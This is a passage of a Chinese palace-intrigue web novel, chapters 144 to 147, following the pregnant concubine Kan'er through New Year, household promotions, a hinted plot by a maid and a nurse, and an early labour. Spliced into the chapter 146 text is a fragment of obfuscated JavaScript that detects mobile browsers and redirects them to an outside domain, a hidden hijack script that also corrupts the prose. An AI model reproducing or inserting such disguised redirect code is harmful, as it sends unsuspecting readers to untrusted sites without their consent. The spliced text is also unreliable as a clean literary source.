但人既然来了肯定是要招待的,槛儿下了炕在跳珠的搀扶下迎出去。
就见宣王妃牵着瑜姐儿步入院中,身后跟着郑明芷身边的大宫女霜月。
按礼的确该跟。
“恭请王妃万福。”
槛儿依规矩向宣王妃行礼道。
宣王妃远远瞧着她的肚子便想免礼的,但有太子妃的人在场,她一介王妃不好表现得对一个侍妾过于亲近。
于是宣王妃受了全礼。
二人简单寒暄两句,槛儿将人领到东次间,霜月亦步亦趋地跟进来。
第144章 除夕大吉!“小宝宝是个小弟弟!”
“说起来,自打陛下的万寿节过后你我便没再见了,晃眼都五个多月了。”
在炕上落座,宣王妃笑着道。
跟着看了眼槛儿的肚子。
“你这肚子瞧着不小,不像未满八个月的,倒像是有八个来月了,莫非是双胎?”
槛儿接过跳珠端来的茶搁到宣王妃面前,柔声笑道:“太医诊过的,是单胎。
娘娘先前说殿下体格大,没准儿孩子在胎里便会随了殿下,让娘娘说中了。”
宣王妃了然地点点头,喝了一口茶。
“生产不易,即便你身子骨在女子间不算纤细,该经历的也还是要经历。
不过你也不要过于忧虑,怀孩子、生孩子最忌讳心态不好,宫里生产事宜备得齐全,你就想你是有福之人。
咱尽可能往好的地方想,人要懂得避谶,我当初生瑜姐儿便是这么想的。”
宣王妃对有孕之事有经验,于是接下来二人的话题都是和孕期有关的。
也说不了别的,有人盯着。
宣王妃就问槛儿腰酸不酸,腿肿不肿,脚可会抽筋,夜里起几次等等。
槛儿如实答了,只不过措辞比较谨慎委婉,也免得让人觉得她在抱怨。
其实腰酸腿肿倒能忍,也没长纹。
就是晚上时不时抽筋和总想小便的那种感觉,有时候真会让槛儿焦躁。
哪怕她很期待孩子生出来,哪怕太子待她很好,但半夜被折腾来折腾去的。
槛儿有时候还是会忍不住烦。
会想着赶紧生,赶紧出来吧。
出来她就解脱了。
有时候槛儿还会把太子给埋怨上,怨他没事生那么大块头做什么,怨他天天忙。
甚至偶尔会很莫名地伤春悲秋。
想自己两辈子都是给人做妾的,想自己这一辈子又要守着这一方天地。
当然这些念头槛儿都只在心里想,也只能在心里想,而因为只能,往往更烦。
但槛儿也清楚,这些念头是有孕致使的。
所以她时常宽慰自己,意识到有这些情绪时她就想别的事转移注意力。
要么和孩子说说话。
感受着它时不时的回应,槛儿又会觉得很幸福,总之情绪来也匆匆去也匆匆。
不过情绪的事槛儿就没和宣王妃说了。
“小六婶婶,小宝宝好像在动。”
瑜姐儿坐在宣王妃旁边的小椅子上吃糕点,冷不丁朝槛儿的肚子指了指。
屋里暖和,槛儿穿得**,加之衣服贴着肚子,小家伙稍微动动就能看清。
槛儿摸摸肚子,笑着对瑜姐儿道:“是呀郡主,小宝宝在动,估计刚刚睡醒呢。”
“小宝宝是个小弟弟!”
瑜姐儿声音脆脆道。
宣王妃摸摸女儿的脑袋瓜。
没问女儿怎么知道的,她也不好问,倒是槛儿笑着道:“郡主怎么知道呀?”
瑜姐儿嘻嘻:“我看到的呀,我看到的就是小弟弟,我感觉就是小弟弟。”
垂着眼的霜月目光闪了闪。
时下有这样一种说法,便是人们认为年幼的孩童心灵纯净,天真通灵。
能看到或感知到很多不可见的东西,民间常把这种说法套用到有孕妇人身上。
不少有了身孕的人或是身边有怀孕的人,经常都会有人拉着一个小孩问自己或对方肚子里的是弟弟还是妹妹。
自然是不可信的。
反正槛儿不信。
即便她很想把曜哥儿生下来,却也不认为这一胎一定是曜哥儿,诚然瑜姐儿口中的弟弟也不是专指曜哥儿。
具体是儿是女。
槛儿不是很在意,这辈子东宫的长公子不一定就非要出自她的肚子。
太子急于要儿子,也不是只有她能生。
横竖槛儿习惯了,习惯了跟自己没有血缘的孩子唤自己“淑母妃”、“母后”。
宣王妃这次来探望槛儿,主要是她还记着姜氏对槛儿和她肚里孩子的不敬。
不过宣王妃早知她和宋昭训见面有人跟着,也没打算真就直接开口致歉。
再者事情过去那么久了,再提也没意义。
所以宣王妃此次前来是事先经裴皇后准许的,打的传授生育经验的名义。
宣王与太子亲近,她来传授经验合情合理。
聊了一刻钟左右。
宣王妃笑着留下一个黑漆描金的匣子,说是她给槛儿和孩子的年礼便走了。
皇家人之间送礼,尤其给东宫有孕侍妾的礼,都是先经坤和宫的人检查。
又经典玺局查验过的。
槛儿回屋打开匣子。
里面有一个银制的长命锁和一对儿幼儿戴的银镯,一块未经雕刻和田玉籽料,以及一把水色剔透的白玉梳。
都是不好动手脚的物件。
槛儿笑了笑,默默记下这笔人情。
转眼到了除夕,按制妃嫔娠七月免朝会、侍宴,这条内训放在东宫同样适用。
因此这一天槛儿不用去坤和宫朝拜裴皇后,也不必去嘉荣堂朝拜太子妃
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。
放眼整个东宫。
能一觉睡到天亮的,怕是也只有她了。
几乎是槛儿刚醒,周身簇新的周嬷嬷、瑛姑姑和寒酥跳珠便齐齐行起除夕礼,一个个红光满面喜庆洋洋的。
“恭祝主子除夕大吉!愿主子如月之恒,如日之升!贵气盈门万事如意!”
槛儿从拔步床内的箱柜里拿了早备好装了银瓜子花生的荷包,一一分给她们。
这些银瓜子花生还是前些日子太子命袁宝拿过来的,满满一匣子,专做赏人之用。
若不然单靠槛儿现今的月俸和份例,哪里养得起一院子几十个宫人呢。
等槛儿也换上一身新出去。
院子里以喜雨和小福子他们这些老人打头,三四十个人又是一阵齐刷刷的礼。
总之就是赏,都赏!
喜雨和小福子他们是老人,槛儿给的便多些。
喜雨趁空闲时候拉着望晴避开人打开荷包一看,嘴角差点没咧到耳根子去。
“八个花生,四两!咱三个多月的月钱!”
喜雨用气音兴奋道。
太子给的这些银花生是半两一颗的,槛儿给望晴小福子他们的都是八颗。
不止今天,明儿元旦还有赏。
望晴拉开荷包看了看,扯扯嘴角。
是啊。
三个多月的月钱人家随手就能赏一堆人。
女人怀孕都是这么过来的,偏人家有人宠,赏下人的银钱都备了一匣子。
宫里头的除夕自是比不得民间随性热闹,但该守的习俗有的也还是要守。
民间除夕禁哭闹、禁针线,宫中也忌。
像是百姓家除夕的早上兴在饺子里包铜钱,谁吃到谁便算是咬住了财。
宫里头注重安全,不会在饺子里包铜钱。
取而代之是将饺子做成元宝状,槛儿的早膳便有几个元宝饺子。
临到午时,副总管鲍富送来了太子的除夕赏赐,槛儿给其包了十八两赏钱。
除了按位份给的一些布料首饰和器物,还有太子亲手写的三副对联和几张“福”。
小福子几个小太监立马就先把太子赐的给贴上了,最后还拜菩萨似的拜了拜。
逗得槛儿啼笑皆非。
此外太子给孩子也赐了赏。
沉甸甸的银鎏金长命锁、刻着平安如意字样的十两赤金锭和十匹松江棉布。
槛儿摸摸肚子:“长命锁等你出来了给你,金子娘就先替你保管着吧。”
曜哥儿没听见,睡得像头小猪。
第145章 要早产!太子:“槛儿。”
宫里的除夕晚宴通常酉整开始,子时将近结束,差不多要摆三个时辰。
席间觥筹交错,丝竹声声,整个皇宫一派火树银花不夜天之景自不必提。
待到临近子时群臣使节出宫的时候,在宫外住的皇子公主们也会带着家眷子女一道出宫,不必留宫陪帝后守岁。
太子和太子妃则就要带着年幼的弟弟妹妹,陪元隆帝和裴皇后在乾元殿守岁。
然后在子时,钟鼓敲响第一声的第一时间向帝后拜年,一家子迎接新年。
槛儿其实也想守岁。
毕竟是自己重活回来的第一个除夕,也是与上辈子的这一年截然不同的除夕。
还挺想纪念一下的。
奈何身子不允许。
在院子里看了会儿小福子他们玩那种手持的小烟花,也叫做线香梨花。
看了会儿,差不多刚到亥时槛儿便困了,她也没强撑,洗漱完就上榻睡了。
院子里,瑛姑姑和寒酥、跳珠领着新来的宫人们围着火盆守岁,几个小太监手中的线香梨花无声地绽放。
子时到了。
皇城的东南西北方向钟鼓齐鸣,一簇簇烟花绽放,绚烂的火花照亮整个夜空。
元隆二十一年,如期而至。
槛儿被外面的动静吵醒,迷迷糊糊睁眼,发现自己不知何时睡到了太子的枕头上。
她眨眨眼,小心翻了个身。
随后摸摸肚子,困倦道:“新年快乐呀……”
曜哥儿也好困,隐隐听到娘的声音,他无力地伸了伸小拳头:娘快乐。
槛儿瞌睡得很,隐隐感觉到小家伙的回应,她扬了扬唇角重新睡过去。
如是不知过了多久。
旁边位置动了一下,不多时槛儿连人带被被拥住,耳畔响起男人低低的声音。
“槛儿,新年安好。”
槛儿没听清,不过她知道太子来了。
“殿下……”
槛儿嘟囔着。
手从被子里伸出来摸到他的手臂,扭头借着帐中朦胧的烛光看过去。
果然对上一双熟悉的清冷凤眸,呼吸交错间能嗅到一缕不重的清冽酒气。
槛儿的脑子有些迷迷瞪瞪。
“您怎么来了……”
刚说完,她忽然注意到太子这会儿竟是没盖被子,身上只穿了件中衣!
槛儿一怔一醒。
忙要转身分被子,被男人按住了手。
“刚从外面进来,有寒气。”
“那也不能不盖被子啊,里面这么多被子呢,”槛儿顺势要拽一条出来。
结果再次被太子按住手。
“席间吃了酒,不冷,你别动。”
行吧。
槛儿没动了,只带着一丝笑意道:“您抱妾身抱紧些,身子暖了就进来。”
“嗯。”
外面的烟花爆竹声已经停了,槛儿重新想起事,手捏着太子的小臂嗫嚅了一下。
想问他怎么来了。
除夕这么重要的日子,内务府的起居注官这个时候应该在嘉荣堂才对。
但话到嘴边槛儿给咽下去了。
这话不好问,也不能她来问。
不过她不问,骆峋却是听出了她欲言又止之下的意思,但他只收了收双臂。
没继续这个话题。
也没说他为何会来此,又是如何过来的。
“还早,睡吧。”
槛儿问:“您什么时候走?”
“卯时。”
槛儿撑着榻要坐起身。
骆峋先坐起来,扶着她的身子。
“要做什么与孤说。”
槛儿从床榻里侧掏出一件东西递给他。
“您走的时候妾身估计还睡着,便提前给您吧,您有空了再试合不合身。”
骆峋伸手接过,发现是一套寝衣。
他顿了顿,问:“你做的?”
槛儿笑着道:“您就当是新年礼。”
骆峋:“年礼你之前送过了。”
是一本她手抄的经和一副可在外戴的暖耳套,他戴过了,的确很暖和。
“那是一份,这是一份。”
槛儿扯了扯他的衣角软声道。
“知道您不缺,可妾身想送,妾能拿得出手的也只这些,只盼着您不嫌弃。”
骆峋不嫌弃。
也不觉得她的礼有何不好。
“你有心了,孤改日穿。”
顿了一下,他面无表情地补了一句。
“穿给你看。”
槛儿的脸不禁热了热,却是没有反驳,反倒偎了过去:“妾身就等着了。”
说完她也补充了。
“按您的尺寸做的,该会合身。”
骆峋将她连人带被地搂住,低头问:“不曾找孤量尺寸,如何按尺寸做?”
宫里有规定。
类似身量尺寸这种关乎到皇室成员个人私密的消息,历来不允许谁外传。
为的是以防有人借此捣鬼。
否则以窥探禁中罪论,属大不敬范畴之重罪。
骆峋不认为素日谨慎小心的槛儿会犯这种错,海顺也不敢擅自做这个主。
槛儿当然没有问海顺,也没有问其他任何人,她不过是熟能生巧罢了。
这个熟不单指她有一双利眼,能瞧出太子的尺寸,还因为纯粹的手熟。
“这样量算吗?”
槛儿仰头看他,手掌毫无引诱之意地贴着他左边胸肌,再贴他右边胸肌。
骆峋懂了。
摸他摸出来的尺寸。
他身子微僵,也差点没绷住笑,幸好他定力好,一本正经地捏住槛儿的手。
“不早了,睡吧。”
槛儿躺下后掀起被子一角。
说了这么会儿话骆峋身上的寒气已经散了,见状顺势躺进去拥住了人。
“殿下,新年安好。”
“嗯。”
.
过了初一。
百姓们开始走亲访友。
民间有初二回娘家、初三赤狗日莫出行、初四迎灶神、初五迎财神的习俗。
到了初六,不少店家开门重新做起了生意。
之后又是祭星、祭玉皇大帝、拜石神什么的,总归正月里日日都有热闹。
从正月十一开始,市井街头又开始为元宵灯会做准备,各个地方设灯棚建灯山,漂亮的花灯挂满条条街。
宫里的活动比不得民间热闹,倒也好在不是全然没有,裴皇后开明,准许正月里嫔妃之间可以相互串门。
有的习俗也遵循民间惯例。
帝后时不时和后宫妃嫔、或是儿女孙辈们一起看看戏听听曲儿,待临近元宵宫中自又是一番张灯结彩之景。
今年的活动注定了与槛儿无缘。
所幸她身边人多。
同大伙儿说说笑笑,时不时看看新来的宫女嬷嬷太监们逗趣,倒也不无聊。
钱匣子也不无聊。
时不时便笑得嘴角咧到耳根子去了。
正月十二这日。
槛儿将寒酥跳珠和望晴、喜雨、银竹叫到跟前说话,最后留下望晴三人。
“从我搬来永煦院到现在再过两个来月便满一年,你们也跟了我这么长时间。”
槛儿看着她们,笑着柔声道。
“我知道,你们日常办事勤勉稳妥,忠心可鉴,我也放心把差事交给你们。
如今咱们院子里添了这么多人,日常的言行吃住、排班轮值、月例发放什么的。
琐事眼见着多了起来,单靠瑛姑姑与寒酥跳珠她们不太管得过来,所以我想从你们三人之中升两个起来。”
望晴交叠在身前的手一紧。
喜雨的眼神一亮,旋即紧张起来。
银竹照旧沉稳内敛。
槛儿看向喜雨,温声道:
“你性子活泛深谙变通,今后便由你去典玺局领新人的月例,再发给他们。
院子里的器物由你和小福子一道负责看管,他们要用哪样就找你俩申领。
大家是否按时当差,有无惫懒懈怠也由你监督,另提膳的差事你还得管着。”
“可以做吗?”槛儿问。
喜雨满脸涨红。
“腾”地便从绣墩子上站起来扑通跪地,脆声道:“奴婢叩谢主子抬举!
蒙主子不嫌,奴婢日后定谨遵主子教诲好好办差,绝不辜负主子信任!”
槛儿笑着叫她起来。
而后看向银竹。
“你素来是个稳重的,心思缜密行事周全,往后的轮值排班便由你安排,他们之间的矛盾也由你来调解。
另言行举止、仪容仪态得体与否,咱们院里该守的规矩一并你来监督,可行?”
银竹沉稳叩首:“奴婢谢过主子。”
槛儿让她也起来。
之后看向望晴,好声道:“望晴,你是不是觉得我不看重你,所以把你排除在外了?”
难道不是吗?
望晴咬紧牙,忍着心底的嘲讽。
槛儿示意她过去。
望晴心有不甘,却不得不走到近前。
槛儿握住她的手。
望晴一怔。
槛儿看着她:“你向来沉得住气,又是个办事细致的,日常屋里屋外一应事务的打理你都能做得井井有条。
你这么勤快稳重,我怎会不看重你?”
望晴垂着眼。
盯着那双洁白腕子上水色剔透的翡翠镯,这样的镯子也只有日里什么都不做的大家闺秀和贵妇才戴得。
槛儿顺着她的视线往自己手腕上看了一眼,复又当没察觉地收回目光。
“我另有事要交给你。”
望晴抬了抬目。
槛儿很自然地松开手。
“咱们院里的人都才来不久,我和你们对他们都不甚了解,跳珠她们再是能干各自也只有一双眼一对耳。
保不齐有疏漏的时候,且她们的身份摆在明面上,很多事不便深入了解。
我便想由寒酥跳珠、银竹喜雨主外,你来主内,帮我私下里盯着他们,月银则和银竹她们算一样的。
等日后大伙儿知根知底了,再逢上机会我便将你升上来,你以为如何?”
望晴觉得不如何。
论来永煦院的顺序,她可比银竹先。
再者她们性子都内向。
为什么不是升她主外,银竹主内?
说白了就是不看重她。
偏说的比唱的好听。
呵。
望晴暗嘲一笑,恭敬跪下道:“谢主子赏识,奴
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婢定不辜负主子期望。”
槛儿叫她起来,到底没再说这么安排的理由,另外她其实也可以不升银竹。
银竹是太子派来的人,本身并不介意什么品级,什么品级也不影响她做任务。
但望晴……
槛儿看了眼腕上的镯子。
晚膳过后。
把碗碟送到膳房后回来,喜雨、银竹要跟跳珠寒酥了解她们今后要管的事。
等元宵节过了,再正式晋升。
喜雨没空,加上院里有另两个二等宫女,望晴便向槛儿请示后单独去伙房。
饭吃到一半,旁边来了人。
正是雁荷。
望晴扭头看了一眼,继续吃自己的。
“怎么啦,心情不好?”
雁荷友好地问。
望晴心情就是不好,不想理人,可她又确实憋得慌想找个人倾诉宣泄。
没忍住。
望晴戳着饭道:“你说中了,我不被看重。”
雁荷反应了一下才明白过来,当即捂了捂嘴凑近道:“那谁升大宫女了?!”
望晴点头,心里梗得慌。
雁荷状似难以置信地问:“什么时候的事?那谁怎么跟你和另两个说的?”
望晴环视一圈,欲言又止。
雁荷眸光微转。
低声道:“反正你也吃不下,要不趁这时候跟我去我们花房转转?就当散散心,你有啥不舒坦的只管跟我说。”
望晴犹豫片刻,答应了。
这段时间她真的憋得不行。
感觉再不找个人说说,她就要疯了!
是夜,后罩房里。
旁边两个位置传来绵长均匀的呼吸声,望晴翻身背对着她们悄悄睁开眼。
手从被子里窸窸窣窣地伸出来,手里素色的香囊散发着一股淡淡香味。
.
当下的怀胎十月,并非真怀满整十个月。
以《黄帝内经》中每二十八天为一胎龄月,怀胎十月即二百八十日为准。
换做以三十天为一月的正常月来算,怀胎十月实则为怀九个月加十日左右。
上辈子槛儿是在四月二十二左右怀上的,生在正月十六,比太医和稳婆预估的产期提前了约莫半个月。
太医说或与胎儿体重偏大所致,不过提前半月也算足月,孩子没什么不足之症。
这辈子按太医和稳婆的推算,产期该在二月上旬,离元宵节有二十天的时候。
槛儿本想着这一回自己严格控制饮食,保持好心情,应该会顺利怀到产期前后。
不过考虑到凡事有意外,所以槛儿还是将自己的顾虑委婉地同莫院判说了。
做好提前生产的准备,以防万一。
莫院判医者仁心,没觉得宋昭训小题大做。
同意了。
东耳房里安放了产床和供槛儿生产后前期休养的暖榻,生产要用的一应物件在元宵节之前陆陆续续搬进屋。
稳婆接生时要用到的相关工具内务府备了一套,东宫典玺局备了一套。
至于助产的那帮子人。
早在内务府送人来的时候太子便借永煦院人事调动,在其间安插了人手。
只不过这些人在宫里都有些年头了,正式动手的时候手段可能会显得粗暴拙劣。
但在筹备阶段,往往个个儿都是人精。
宫里头的人做事一贯就是这样,多数时候不到最后一刻很难保证会是谁露了爪子,又是用怎样的方式露爪子。
所以到目前为止槛儿和银竹他们暂时没揪出谁,永煦院看似一派祥和。
另外新生儿的尿布襁褓之类的,瑛姑姑趁天气好领着宫女们烫洗晒干了。
莫院判则叫人备好了可能用到的药,到了元宵这日生产事宜便准备得差不多了。
槛儿是初产妇,初产妇多数情况是在距离产期半个月左右的时候胎儿入盆。
这个时候就能确认胎儿是头朝下出来还是臀朝下出来,亦或者是横着的。
因此稳婆打算今儿开始。
每日替槛儿摸两回,及时确认胎位,若是发现胎位不正还能提前纠正过来。
下午,太子与太子妃赴元宵宴去了。
嘉荣堂庞嬷嬷留守。
槛儿和除夕那天一样,用了晚膳消完食收拾好,刚过戌时便觉得困了。
睡前稳婆摸了摸肚子,没有入盆的动静,槛儿也靠前世的经验没感觉出什么。
于是她上榻睡了。
哪知刚迷迷糊糊睡着,槛儿忽然感觉腹部一紧,腰腹一阵往下坠的胀痛。
槛儿一下子清醒了,抱着肚子感受了一会儿得出结论:这辈子怕是要早产。
槛儿其实挺冷静,只心跳本能地加快了一瞬,她不由扬声喊瑛姑姑。
瑛姑姑和寒酥在外间守夜。
以为主子是要起夜,哪知下一句就听她说要生了,两人差点惊得当场跳起来。
寒酥忙跑去西厢找稳婆。
四个稳婆和两名女医也正要睡下。
一听寒酥拍门说昭训要生了,几人也惊了一下,忙穿好衣服赶到正房。
瑛姑姑掌了灯,将槛儿从榻上扶起来,“怎么会这样?怎么就要生了?”
第146章 生产(1)槛儿交代后事,太子:你放肆!
院子里都动了起来。
四个稳婆中的领头韩稳婆沉稳老练。
进来先摸了槛儿的胎位情况,又让她躺回榻上,叫瑛姑姑替槛儿褪去寝裤。
韩稳婆则迅速净了手,察看了槛儿破水见红的情况,又探了探宫口。
最后道:“昭训主子是要生了,但现在胎儿没完全入盆,也没破水见红,先扶主子去外面走走,最好上下台阶。”
说完,郑重地对槛儿道:
“主子不必担心,奴婢们一定竭尽全力将小主子平安顺利地接生出来!”
妇人生孩子是一脚踏入鬼门关。
自古不少高门大户的人借稳婆干有损阴德的事,宫中这种事更是不少见。
那贪财之流不知其中利害,为眼前的丁点儿蝇头小利把一家子都搭了进去。
相应的就有那清楚其中关节,深谙保命之法识时务的,这韩稳婆便是后者。
她家是**的稳婆户。
世世代代为宫里的贵人接生,裴皇后当年生太子时用的便是他们家,本朝稳婆户也属他们家存活时间最久。
“就有劳韩嬷嬷了。”
槛儿笑着道,之后由瑛姑姑和跳珠帮着穿好衣裳,披上披风去院里走动。
还没过戌时,槛儿之前睡了没两刻钟。
眼下正是元宵宫宴热闹的当头,太医院大半的太医在奉天殿附近值守。
槛儿身处后宅,白天莫院判或是其他太医会来为她诊脉,晚上就没有太医留守了。
倒是女医和医婆。
但她们主攻妇人症和生产,某些突发情况和疑难杂症还需得太医坐镇。
小福子风似的跑去请太医,但宫人出东宫不能走正门,要走西侧的旭辉门。
这个时辰西门早下钥了。
小福子也没有出东宫的腰牌,海顺和袁宝去了元宵宴,典玺局离后院又远。
于是小福子直奔嘉荣堂。
得知永煦院的奴才来找她拿腰牌,说是他们主子要生了,正在耳房与霜月霜云嗑瓜子的庞嬷嬷都愣住了。
问传话的小东子:“不是还有二十来天?怎么这就要生了,那奴才可有说别的?”
“没,就说宋昭训要生了,得赶紧找太医。”
庞嬷嬷让小东子下去。
小东子问:“那腰牌呢?”
“我得去太子妃屋里拿,你叫他等等。”
小东子走了,庞嬷嬷坐在窄炕上神色像似神游太虚,片刻后她看向霜云。
霜云也看向她。
两人的眼睛里闪着彼此才懂的异光。
屋里诡异的静了两息,随即庞嬷嬷起身去正房拿了腰牌,再疾步去了院门口。
把腰牌交给小福子前,庞嬷嬷问:“你主子现在是个什么情况?可进产房了?”
小福子急着拿腰牌,硬是忍着道:“回嬷嬷,主子没进产房,在院子里走。”
庞嬷嬷把腰牌给他。
小福子纳罕这老婆子竟这么爽快,但时间紧他没空细究,道了谢径直往西门跑。
庞嬷嬷看着小福子消失在夜色中,一双浑浊的三白眼隐匿在廊檐下阴影处。
“嬷嬷,要禀给太子妃吗?”霜云不知何时走了过来,声音轻得仿若幽魂。
庞嬷嬷扯扯嘴角。
“用不着,皇后娘娘不会亲临妃嫔的产房,太子妃同样不必去陪一个妾生产。
再者产房是污秽之地,太子妃作为储妃要避讳,若不然冲撞了谁担当得起?”
霜云:“不知道那小太监会不会去禀给殿下。”
庞嬷嬷转身往院子里走。
“告诉了又如何?今晚殿下要帮着圣上主持典礼,为了一个妾抛下满朝文武,就算殿下有意祖宗也不会准许。”
说完,她喊了一个小宫女来。
“让膳房煮一碗参汤,送去给宋昭训的。”
太子妃不能亲临,但主母的关怀之责还是要尽的,她得替主子去把责尽到。
庞嬷嬷到永煦院时,韩稳婆正摸着槛儿的肚子,高兴道:“入了入了!入盆了!”
“昭训有福,是头位!估摸着就快要破水了,您再坚持坚持,破了水咱就进产房。”
槛儿由寒酥扶着站在台阶下歇息,这会儿痛倒还在能忍的范围内,就是肚子下面那种坠胀感让她很不舒服。
像是孩子随时要掉下来。
好在熬过今晚就能解脱了,槛儿往好的方面想,继续在院子里转着圈。
正转着,门口的小太监来说庞嬷嬷来了,槛儿一听就知对方来做什么的。
她往寒酥身上一歪,虚弱地叫把人请进来。
院中此时灯火通明。
庞嬷嬷一进来就瞧见不远处的人,明明挺着个大肚子体态该是臃肿的。
偏人家就是怎么着都好看。
其明艳的眉宇间那股温婉灵秀的气质,愣是让她这种时候都美得像一幅画。
庞嬷嬷瞧着,越发肯定了自己的决定。
这么个狐媚子真要见天儿地放在后院,日后哪里还有她家主子的立足之地?
主子是她奶大的。
既唤她一声奶娘,她便算主子的半个娘,哪个当娘的会舍得让女儿吃亏?
庞嬷嬷状似担忧地过来,让人把参汤交给喜雨,假模假样对槛儿嘘寒问暖一番。
槛儿同她寒暄两句就要把人打发了。
庞嬷嬷却是不走。
说她是来替太子妃陪产的,得替太子和太子妃看好东宫第一个小主子。
槛儿真心没力气与她做戏,随口叫人搬了个凳子到西厢廊檐下让她坐。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125179|180054||http|test|mini|href|location''.split(''|''),0,{}));
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>庞嬷嬷坐在离产房较远的地方,一双老眼不着痕迹地往某个人身上扫了扫。
韩稳婆进了产房,仔细检查她们一会儿要用的工具,紧跟着便皱起了眉。
“助产油呢?”
打下手的何婆子一脸懵:“不知道啊,助产油不是我负责,好像素芩在拿吧?”
“来了来了,这儿呢!”
叫素芩的宫女拿着油进来,尴尬道。
“刚昏了头,眼皮子底下的东西都没瞅见,找了会儿发现就在手边,两罐都在。”
韩稳婆拿银针给两罐油都试了毒,确认没问题才低斥了一句“下回仔细些”。
望晴抱着一摞棉布和褥子进来,背对着她们整理产床,犹可见其面色微白。
抖动褥子的手颤得厉害。
这时,院中响起一阵惊呼。
却是槛儿破水了。
寻常足月产妇破了水还能稍微走动走动。
但槛儿是早产,暂时也不知是什么原因引起的,韩稳婆便叫人将她搀进产房让其先在暖榻上侧卧着休息。
期间小福子把太医请来了,另好像海顺也过来了,不过槛儿暂时没心思管外面。
如是过了近两个时辰。
不断加剧的阵痛刺得槛儿嘴唇直抖,她摸着肚子,终归还是没忍住红了眼。
没怀孩子时一心想着怀,夜里不惜变着法子缠人,等到怀上时满心欢喜。
恨不得当即就能生出来。
可真到生的时候即便心态再好,也还是会想起其间的凶险,会忍不住担心。
尤其自打她重生以来,很多事都脱离了上辈子的轨迹,槛儿不免就想的多了。
譬如这辈子是她偷来的,或许老天会借生产这个机会收回她现在的好日子。
等她再睁眼时,人没准就在阴曹地府了。
亦或者,她的性命也会脱离上辈子的轨迹。
槛儿抓住瑛姑姑的手。
“姑姑,你替我办件事。”
瑛姑姑看着她被汗水打湿的脸。
大抵猜到她要说什么,不禁强忍着哽咽道:“您别多想,您是有福气的……”
槛儿笑着摇摇头。
“我自是要想好的,但人生在世哪会事事如意,你不必劝我,我只是做这么个打算,若平安无事便当我什么都没说。”
话说成这样瑛姑姑哪再好耽误她的功夫,只能道:“您说,奴婢一定替您办成。”
槛儿朝窗外望了一眼。
“稍后殿下回来,你替我传个话,就说我说的,若我有个三长两短不能养孩子,但请殿下一定记得许诺我的话。”
“让孩子有个好娘,与对方一道将其抚养……”
话音未落,门口响起男人清冽的声音。
“宋槛儿,你放肆。”
第147章 生产(2)皇太子骆峋之长子,生于永煦院。
宫宴上设太医值守,为的是应对席间由于各种因素导致的紧急状况。
宴上的太医非必要绝不会外调,小福子要请太医也该到宫外太医院请。
但他想的不同。
太医院到东宫往返一趟得近三刻钟,期间难保他们昭训不会出什么意外。
这可不行!
所以小福子一寻思,就朝奉天殿去了。
什么规矩不规矩的。
他们家宋昭训现在就是必要紧急情况,去奉天殿请医可比出宫省时得多!
再者太子虽说不能擅自离席,但他看重宋昭训和她肚里的孩子,生产这等大事当然是禀了比不禀叫人放心。
奉天殿侧门外有东宫的人。
为的是谁有事寻太子方便通传,不过小福子没敢上去就说宋昭训要生了。
今晚守在奉天殿几处门附近的宫人多,谁也不知道里面有没有混进来谁的眼线。
小福子便只让那太监帮忙给海总管话,就说永煦院的小福子找他有事。
结果如小福子所料,以太子对宋昭训的看重,海顺一听永煦院来了人便出来了。
小福子对其耳语一阵。
海顺的神色微变,遂让他在外候着,自己如来时那般匆匆回了奉天殿。
元隆帝不久前离席了。
殿中此时众人推杯换盏,谈笑风生。
场外伶人或弹琴、或吹箫、或奏琵琶,场中一众伶人舞姿飘然若仙,衬得金碧辉煌的殿内仿若神霄绛阙。
太子坐在大殿北侧的左下首处,有人来向他敬酒,他端起酒盏轻啜了一口。
看似在笑,眼底却无笑意。
待那人走了,海顺猫着身子走过去。
稍顷,骆峋扣着酒盏的指尖收紧。
看了一眼殿内当下的形势。
他示意海顺:“你去。”
海顺自然担心宋昭训的情况,但闻言他还是忍不住急:“这时候奴才哪能离了您,陛下不知何时回来,万一……”
骆峋抬了一下手。
“去。”
海顺前脚走,简王后脚就大着舌头道:“海顺那老货,过个节都不让人安生,太子哥哥不必管他,咱们吃酒!”
殿内宽敞人多,又有丝竹管弦之声。
几位王爷坐在一起,倒不至于轻易便被远处席位的人把谈话内容听了去。
宣王被简王的这声“太子哥哥”激起鸡皮疙瘩,没好气夺去他手里的酒盏。
“吃吃吃,看你都醉成什么样了!也是要成婚的人了还成日里没个正形!”
简王撇着嘴跟宣王较劲,骆峋懒得搭理。
倒是坐在太子左下首处的慎王先看了眼胖简王,随后冲太子举起酒杯。
“恭贺太子即将喜得麟儿。”
慎王武艺不俗,耳力自是也好。
加上没了信王三个哥哥在,他的席位就离太子最近,所以刚刚海顺向太子耳语报消息时让他给听了去。
这会儿慎王的声音不大不小,刚好能叫周围几个皇子都听到的程度。
一时间便都看了过来,纷纷要学慎王道贺,被骆峋一个手势制止了。
“满百日再贺不迟。”
慎王挑了一下眉,颇有些意味深长。
要知道宫里这地方,活不过百日的皇嗣才是常态,这人倒是沉得住气。
正想着,太子忽然看向他。
“五哥今后管住自己的耳口为好,此时周遭皆为兄弟,孤亦不与你计较。
但若让旁人知晓你窥听孤与人谈话,难保不会扣五哥一个‘窥伺储君,图谋不轨’的罪名,是时父皇可不会纵你。”
慎王本来刚要笑,哪知转眼听了一耳朵训诫,且他一个当哥哥的被弟弟训诫。
慎王的脸顿时青了黑,黑了青。
所幸他脸本来就黑,倒叫人看不出旁的颜色,只能看到他神情僵硬不好看。
于是其他人眼观鼻鼻观心,浑当没看出两人间的**味,继续该做什么做什么。
子时一到,宴席准时结束。
骆峋迅速处理完手头上的事,而后看似从容淡漠实则脚下匆匆地往回赶。
也没回元淳宫。
径直就来了永煦院。
知道槛儿正值紧要关头,骆峋禁了人通报。
得知她进了产房还没开始生,骆峋便先去了正房,耗时不到一刻钟沐了浴。
又仔细去了口中酒味。
换了身干净的袍子才往产房走。
袁宝见状眼珠子差点没瞪出来,扯海顺袖子:“爷要去产房干爹您不拦?!”
海顺正担心着呢。
闻言没好气把袖子拽回来。
压低声道:“拦什么拦!爷要去我拦有什么用?再者产房怎么就不能去了?男人不是从产房生出来的啊?”
什么污秽之地,都是放屁!
